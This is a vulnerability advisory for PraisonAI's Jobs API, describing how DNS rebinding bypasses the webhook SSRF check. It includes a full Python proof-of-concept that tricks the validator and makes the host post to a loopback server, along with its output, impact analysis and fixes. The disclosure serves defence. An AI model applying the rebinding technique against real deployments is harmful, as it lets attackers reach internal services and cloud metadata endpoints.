Skip to content

GHSA-rjvw-7vvw-549v CVE-2026-57114 PYSEC-2026-3519

PraisonAI: Jobs webhook SSRF protection bypass via DNS rebinding

High PyPI
Severity
7.2 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.26%
Chance of exploitation in the next 30 days. Higher than 18.35% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition
CWE-918 Server-Side Request Forgery (SSRF)
Fix
4.6.59
Upgrade praisonai to this version or later

Description

Jobs webhook SSRF protection bypass via DNS rebinding

Summary

PraisonAI's Async Jobs API validates webhook_url when a job request is parsed and again when the internal Job object is constructed. That validation blocks direct loopback/private targets, but it is not bound to the later network request. When a job completes, _send_webhook() passes the original hostname to httpx.AsyncClient.post() with no send-time validation, IP pinning, or guarded transport.

An attacker-controlled hostname can therefore resolve to a public IP during Pydantic validation and later resolve to loopback/private/cloud-metadata infrastructure during webhook delivery. This bypasses the intended SSRF guard in current supported releases.

This appears to be an incomplete fix / patch bypass for GHSA-8frj-8q3m-xhgm ("Server-Side Request Forgery via Unvalidated webhook_url in Jobs API"). I defer to maintainers on whether this should be a new advisory/CVE or an amendment to the prior advisory, but current supported releases still appear affected.

Affected Component

Package:

praisonai

Files:

src/praisonai/praisonai/jobs/models.py
src/praisonai/praisonai/jobs/executor.py
src/praisonai/praisonai/jobs/router.py

Relevant code paths:

JobSubmitRequest.validate_webhook_url()
Job.validate_webhook_url()
JobExecutor._send_webhook()
POST /api/v1/runs

Affected Versions

Validated affected:

  • v4.5.126 (f00763937bf7f4d091e84533692fc0576fca9b99);
  • v4.5.128 (b4e3a8a8);
  • v4.6.56 (d3c4a2af);
  • v4.6.57 (e90d92231853161ad931f3498da57651a9f8b528);
  • current main (2f9677abb2ea68eab864ee8b6a828fd0141612e1, v4.6.57-4-g2f9677ab).

Suggested affected range for maintainer confirmation:

>= 4.5.126, <= 4.6.57

No patched version is known to me at submission time.

v4.5.124 and earlier are covered by the older unvalidated-webhook advisory. This report is scoped to patched-era releases where direct loopback/private webhook URLs are rejected but DNS rebinding still bypasses the guard.

Root Cause

Current validation is a time-of-check/time-of-use boundary:

  1. JobSubmitRequest.webhook_url is validated with urlparse() and socket.gethostbyname().
  2. The resolved address is rejected when it is private, loopback, link-local, or multicast.
  3. The original URL string is stored on the Job.
  4. After job completion, _send_webhook() creates a fresh httpx.AsyncClient and POSTs to the original URL.
  5. httpx resolves the hostname again. There is no revalidation of the address that is actually connected to.

The first DNS answer is therefore trusted for a later, independent DNS lookup. An attacker who controls DNS for the webhook hostname can return a public address during validation and an internal address during delivery.

Local Reproduction

The PoV is local-only. It starts a loopback HTTP server, monkeypatches resolver behavior in-process, and uses the real PraisonAI Job validator plus JobExecutor._send_webhook() sender.

Run from a PraisonAI checkout:

env PYTHONPATH=src/praisonai python3 poc_jobs_webhook_dns_rebinding_ssrf.py

Observed output on current main:

DIRECT_LOOPBACK_BLOCKED: {"Job": true, "JobSubmitRequest": true}
ACCEPTED_WEBHOOK_URL: http://rebind.test:<port>/hook
INTERNAL_SERVER_HIT: true
INTERNAL_REQUEST_HOST: rebind.test:<port>
INTERNAL_REQUEST_PATH: /hook
WEBHOOK_PAYLOAD_KEYS: completed_at,duration_seconds,error,job_id,result,status
WEBHOOK_PAYLOAD_STATUS: succeeded
PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding

The direct control proves that the current guard is meant to reject loopback webhook destinations. The rebind case proves the same blocked destination class is reached when the hostname changes between validation and delivery.

Full Local PoV Script

#!/usr/bin/env python3
"""Local PoV for PraisonAI Jobs webhook DNS-rebinding SSRF.

The PoV uses only loopback services. It models an attacker-controlled hostname
that resolves to a public IP during PraisonAI's Pydantic validation, then
resolves to loopback when the async webhook sender later opens the connection.
"""

from __future__ import annotations

import asyncio
import json
import queue
import socket
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from typing import Any

from praisonai.jobs.executor import JobExecutor
from praisonai.jobs.models import Job, JobSubmitRequest


ATTACKER_HOST = "rebind.test"
PUBLIC_IP = "93.184.216.34"


class InternalHandler(BaseHTTPRequestHandler):
    def do_POST(self) -> None:  # noqa: N802
        length = int(self.headers.get("content-length", "0"))
        body = self.rfile.read(length)
        self.server.received.put(  # type: ignore[attr-defined]
            {
                "path": self.path,
                "host": self.headers.get("host"),
                "body": body.decode("utf-8", "replace"),
            }
        )
        self.send_response(204)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def assert_direct_loopback_blocked(port: int) -> None:
    blocked = {}
    direct_url = f"http://127.0.0.1:{port}/hook"
    for model in (JobSubmitRequest, Job):
        try:
            model(prompt="x", webhook_url=direct_url)
            blocked[model.__name__] = False
        except Exception:
            blocked[model.__name__] = True

    print("DIRECT_LOOPBACK_BLOCKED:", json.dumps(blocked, sort_keys=True))
    if not all(blocked.values()):
        raise SystemExit("control failed: direct loopback webhook URL was accepted")


def build_validated_job(port: int) -> Job:
    original_gethostbyname = socket.gethostbyname

    def validation_gethostbyname(host: str) -> str:
        if host == ATTACKER_HOST:
            return PUBLIC_IP
        return original_gethostbyname(host)

    socket.gethostbyname = validation_gethostbyname
    try:
        webhook_url = f"http://{ATTACKER_HOST}:{port}/hook"
        request = JobSubmitRequest(prompt="x", webhook_url=webhook_url)
        job = Job(prompt=request.prompt, webhook_url=request.webhook_url)
        job.succeed({"pov": "job result sent to webhook"})
        return job
    finally:
        socket.gethostbyname = original_gethostbyname


async def send_after_rebind(job: Job, port: int) -> None:
    original_getaddrinfo = socket.getaddrinfo

    def send_getaddrinfo(host: Any, port_arg: int, *args: Any, **kwargs: Any):
        normalized_host = host.decode() if isinstance(host, bytes) else host
        if normalized_host == ATTACKER_HOST:
            return [
                (
                    socket.AF_INET,
                    socket.SOCK_STREAM,
                    socket.IPPROTO_TCP,
                    "",
                    ("127.0.0.1", port_arg),
                )
            ]
        return original_getaddrinfo(host, port_arg, *args, **kwargs)

    socket.getaddrinfo = send_getaddrinfo
    try:
        await JobExecutor(store=None)._send_webhook(job)  # type: ignore[arg-type]
    finally:
        socket.getaddrinfo = original_getaddrinfo


def main() -> int:
    received: queue.Queue[dict[str, str]] = queue.Queue()
    server = HTTPServer(("127.0.0.1", 0), InternalHandler)
    server.received = received  # type: ignore[attr-defined]
    port = int(server.server_port)
    thread = threading.Thread(target=server.handle_request, daemon=True)
    thread.start()

    try:
        assert_direct_loopback_blocked(port)
        job = build_validated_job(port)
        print("ACCEPTED_WEBHOOK_URL:", job.webhook_url)
        asyncio.run(send_after_rebind(job, port))
    finally:
        server.server_close()

    try:
        hit = received.get_nowait()
    except queue.Empty:
        raise SystemExit("bypass failed: loopback-only webhook receiver was not hit")

    payload = json.loads(hit["body"])
    print("INTERNAL_SERVER_HIT: true")
    print("INTERNAL_REQUEST_HOST:", hit["host"])
    print("INTERNAL_REQUEST_PATH:", hit["path"])
    print("WEBHOOK_PAYLOAD_KEYS:", ",".join(sorted(payload)))
    print("WEBHOOK_PAYLOAD_STATUS:", payload.get("status"))

    if hit["host"] != f"{ATTACKER_HOST}:{port}":
        raise SystemExit("unexpected host header")
    if payload.get("status") != "succeeded":
        raise SystemExit("unexpected webhook payload")

    print("PRAI-CAND-005 CONFIRMED: Jobs webhook validation is bypassed by DNS rebinding")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

Intended-Behavior Validation

PraisonAI's Async Jobs documentation describes webhook_url as the completion callback URL for submitted jobs. The deploy API docs list webhooks as a key feature and state that the async jobs API does not require authentication by default, with authentication left to server deployment configuration.

The code also proves the intended safety boundary: both JobSubmitRequest and Job currently reject direct http://127.0.0.1:<port>/... webhook URLs. The PoV does not rely on local webhooks being intentionally allowed; it demonstrates that a blocked local target becomes reachable after the validation-to-use DNS transition.

Impact

If an attacker can submit jobs to a PraisonAI Jobs API deployment and choose webhook_url, they can cause the PraisonAI host to send POST requests to loopback, private-network, or cloud metadata endpoints reachable from that host.

Practical impact includes:

  • blind interaction with internal HTTP services;
  • internal host/port reachability probing via timing and webhook error behavior;
  • POSTing attacker-controlled job result payloads to internal APIs with weak request validation;
  • cloud metadata interaction where metadata endpoints accept the request method and the deployment network permits access.

This report does not claim response-body disclosure, RCE, or live credential theft without deployment-specific internal-service behavior. The SSRF primitive is still security-relevant because webhook delivery crosses a network boundary that current code explicitly tries to block.

Severity

Suggested severity: High for network-reachable Jobs API deployments where job submission is unauthenticated or attacker-accessible.

If maintainers model the Jobs API as loopback-only or authenticated in the affected deployment, severity may reasonably be reduced. I kept the primary rating aligned with the prior Jobs webhook SSRF advisory because PraisonAI's public docs state that authentication is not required by default and the same webhook sink remains reachable.

Suggested Fix

  • Move SSRF validation to the send path immediately before opening the outbound connection.
  • Resolve all candidate addresses with socket.getaddrinfo(), not only the first IPv4 answer from gethostbyname().
  • Reject loopback, private, link-local, multicast, reserved, unspecified, and cloud metadata address ranges for every resolved address.
  • Pin the validated address to the actual connection, or use a guarded HTTP transport/proxy that validates the destination after DNS resolution and before connect.
  • Consider making Jobs API authentication mandatory by default for non-loopback binds, or require explicit opt-in to unauthenticated job submission.
  • Add regression tests for direct loopback rejection, DNS rebind from public to loopback, IPv6/private AAAA records with public A records, and allowed public webhooks.

Affected versions

PyPI

PackageVulnerableFixed in
praisonai
>= 4.5.126, < 4.6.59
4.6.59

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

praisonai PyPI → 4.6.59

pip
pip install --upgrade "praisonai>=4.6.59"
poetry
poetry add "praisonai>=4.6.59"
uv
uv add "praisonai>=4.6.59"

Severity breakdown

CVSS 3.1 7.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Weakness

CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition

The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.

How to prevent it
  • Implementation: The most basic advice for TOCTOU vulnerabilities is to not perform a check before the use. This does not resolve the underlying issue of the execution of a function on a resource whose state and identity cannot be assured, but it does help to limit the false sense of security given by the check.
  • Implementation: When the file being altered is owned by the current user and group, set the effective gid and uid to that of the current user and group when executing this statement.
  • Architecture and Design: Limit the interleaving of operations on files from multiple processes.
  • Implementation, Architecture and Design: If you cannot perform operations atomically and you must share access to the resource between multiple processes or threads, then try to limit the amount of time (CPU cycles) between the check and use of the resource. This will not fix the problem, but it could make it more difficult for an attack to succeed.
  • Implementation: Recheck the resource after the use call to verify that the action was taken appropriately.
  • Architecture and Design: Ensure that some environmental locking mechanism can be used to protect resources effectively.
  • Implementation: Ensure that locking occurs before the check, as opposed to afterwards, such that the resource, as checked, is the same as it is when in use.

CWE-918: Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-26mh-57q7-jfvr
PraisonAI vulnerable to Remote Code Execution via Broken AST Sandbox
High Also affects praisonai
GHSA-6g6r-q6gw-w8fg
PraisonAI has a Browser Server WebSocket origin validation bypass via unanchored regex (patch bypass of CVE-2026-40289 / GHSA-8x8f-54wf-vv92)
Critical Also affects praisonai
GHSA-pvph-5j39-v8qc
PraisonAI: Origin-validation bypass (startswith prefix match) enables unauthenticated cross-site request forgery against the PraisonAI MCP HTTP server
High Also affects praisonai
GHSA-gfq8-hmph-9gjv
PraisonAI: Authentication fail-open in Recipe server allows unauthenticated access when API key or JWT auth is configured without a secret
High Also affects praisonai
GHSA-2jgc-f764-c5r2
PraisonAI: [Auth Bypass] PraisonAI async Jobs API (`/api/v1/runs`) has no authentication — unauthenticated job execution, result theft, cancel and delete
High Also affects praisonai
GHSA-pvxx-r596-f5qj
PraisonAI: `--api-key` flag on `praisonai serve` is not properly enforced
High Also affects praisonai
GHSA-hmfx-4v44-9qw9
PraisonAI vulnerable to Server-Side Request Forgery via DNS rebinding bypass in webhook_url validation
Medium Also affects praisonai
GHSA-rg5q-pp8p-f7jm
PraisonAI: Webhook SSRF via DNS fail-open in `JobSubmitRequest.validate_webhook_url()` — bypass of CVE-2026-40114
High Also affects praisonai
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor